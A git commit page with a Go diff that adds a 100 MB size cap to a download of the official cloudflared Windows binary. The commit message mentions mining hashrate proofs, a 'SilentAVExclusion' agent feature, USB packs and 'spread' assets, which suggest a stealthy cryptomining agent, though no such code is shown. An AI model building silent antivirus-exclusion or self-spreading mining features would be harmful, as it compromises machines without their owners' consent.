Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -15,6 +15,8 @@ import (
"syscall"
)
const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
var (
@@ -121,7 +123,7 @@ func ensureBinary(deckRoot string) (string, error) {
if err != nil {
return "", err
}
_, err = io.Copy(f, resp.Body)
_, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
closeErr := f.Close()
if err != nil {
return "", err